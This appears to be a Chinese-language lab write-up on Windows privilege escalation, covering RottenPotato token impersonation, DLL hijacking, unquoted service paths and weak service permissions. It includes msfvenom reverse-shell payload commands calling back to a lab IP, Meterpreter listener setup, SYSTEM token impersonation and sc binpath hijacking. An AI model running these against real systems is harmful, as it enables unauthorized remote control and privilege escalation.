烂土豆&dll劫持&引号路径&服务权限

9dbd8ce7a03ef218c28c24ec641d550d

RottenPotato(烂土豆)提权的原理可以简述如下

  1. 欺骗NT AUTHORITY\SYSTEM账户通过NTLM认证到我们控制的TCP终端。
  2. 对这个认证过程使用中间人攻击(NTLM重放),为NT AUTHORITY\SYSTEM账户本地协商一个安全令牌。这个过程是通过一系列的Windows API调用实现的。
  3. 模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。
  • 所以,一般从web拿到的webshell都是IIS服务器权限,是具有这个模仿权限的。测试过程中,我发现使用已经建好的账户(就是上面说的用户级账户)去反弹meterpreter然后再去执行EXP的时候会失败,但使用菜刀(IIS服务器权限)反弹meterpreter就会成功。即非服务类用户权限无法窃取成功
1
2
3
4
5
1、所以我们控制HTTP流量大概都流经我们控制的HTTP服务器,做中介人攻击。

2、可以诱导系统高权用户执行一些操作,例如将它们重定向到需要NTLM身份验证的地方。所有NTLM凭据都将中继到本地SMB侦听器,以创建运行用户定义的命令的新系统服务,例如是Windows Update服务的请求时,就会是一个高权令牌,劫持掉这个令牌

3、最后模仿这个高权令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌

烂土豆比热土豆的优点是

  1. 100%可靠
  2. (当时)全版本通杀。
  3. 立即生效,不用像hot potato那样有时候需要等Windows更新才能使用。
  • 总之,我对这个的理解是通过中间人攻击,将COM(NT\SYSTEM权限)在第二步挑战应答过程中认证的区块改成自己的区块获取SYSTEM令牌,然后利用msf的模仿令牌功能模仿SYSTEM令牌。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#令牌窃取配合烂土豆提权
单纯的令牌窃取:web权限或本地提权
如配合烂土豆提权:web或数据库等权限

#不带引号服务路径安全问题
服务器路径提权:web权限或本地提权

#不安全的服务权限配置问题
服务器权限配置:web权限或本地提权(web几率小)


#补充说明:dll劫持提取及AlwaysInstallElevated等说明
dll劫持提权需要特定软件应用的控制权限及启用配合,复杂鸡肋
AlwaysInstallElevated提权默认禁用配置,利用

烂土豆配合令牌窃取提权-web权限

msf生成木马:

1
msfvenom -p  windows/meterpreter/reverse_tcp lhost=192.168.70.128 lport=8899  -f exe -o test.exe

msf上进行配置:

1
2
3
4
5
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 8899
run

Snipaste_2023-07-30_17-04-26

1
2
pwd
dir

Snipaste_2023-07-30_17-05-11

上传烂土豆到目标服务器,这里我失败了,可能因为我不是web用户的原因,我本地搭建把webshell传上去总是administrator权限或者system权限,不然就是普通用户权限……

1
2
3
4
execute -cH -f ./potato.exe
use incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"

Snipaste_2023-07-30_20-36-16

Snipaste_2023-07-30_20-42-43

我用了一下msf自带的提权检测的模块,然后就提权成功了。。。

Snipaste_2023-07-30_21-07-03

Snipaste_2023-07-30_21-07-09

Snipaste_2023-07-30_21-06-45

Win2012-DLL劫持提权应用配合 MSF-Web 权限

Windows程序启动的时候需要DLL。如果这些DLL不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索

msf生成恶意dll

1
msfvenom -p windows/meterpreter/reverse_tcp lhost=<Your IP Address> lport=<Your Port to Connect On> -f dll >/opt/test.dll

msf启动监听,服务器运行flashfxp软件程序,成功监听到会话

1
2
3
4
5
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 5555
exploit

Snipaste_2023-07-30_22-29-57

配合令牌窃取,成功提权

1
2
3
use incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"

Snipaste_2023-07-30_22-31-51

  • dll劫持提权需要特定软件应用的控制权限及启用配合,复杂鸡肋
  • AlwaysInstallElevated提权默认禁用配置,利用成功机会很少

不带引号服务路径配合MSF-web,本地权限

当Windows服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径。但是,如果服务的路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。

简单来说:就是一个服务,引用的路径上有空格的话,如果打上了引号如:"xxxx xxx\xxx\xxx"这种,那么就没有这个问题,如果是没有打上双引号,那么就会出现这个漏洞

检查有没有这漏洞的命令:

1
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

Snipaste_2023-07-30_22-46-45

我这里都没有这个玩意….,个人感觉挺少见的…..

利用:比方说路径是:c:\xx xx\xx.exe,这样中间有空格,但是在服务中又没有引号的,那么就可以,利用只需要在c盘下创建一个xx.exe也就是和空格前面那段路径同名的木马就行了

启动服务。可以在webshell中或者本地启动服务。但是测试时,webshell中启动不了,所以不带引号服务路径提权方法还是多用于本地提权

1
sc start "服务名"

不安全的服务权限配合MSF-本地权限

即使正确引用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以直接修改它导致重定向执行文件。

  • 执行命令,检测当前用户所在组的服务权限(实战中一般都不是administrators组,这里仅做测试用),列出的都是当前用户可以操作的服务
1
2
3
4
AccessChk下载:https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk
accesschk.exe -uwcqv "administrators" *
sc config "服务名" binpath="服务路径"
sc start "服务名"

msf上就按照windows的反弹进行设置就行了

一般在实战中是不会有administrator权限的,只适用于本地提权(因为上传之后,直接运行还会有一个弹窗),如果是普通用户权限,在执行第一条命令的时候如果没有东西,那么直接就gg

关于 Windows 相关知识点总结说明-权限层,系统层,防护层等

—掌握:提权方法对应层面(web权限(Python/php/asp/iis搭建)和管理员权限(本地、Java、phpStudy、宝塔等搭建))

—权限划分:system > administer > users > webshell权限

—本地权限(用于内网渗透的层面)

—提权方法对应系统版本(2008之前),相关文件及后门免杀问题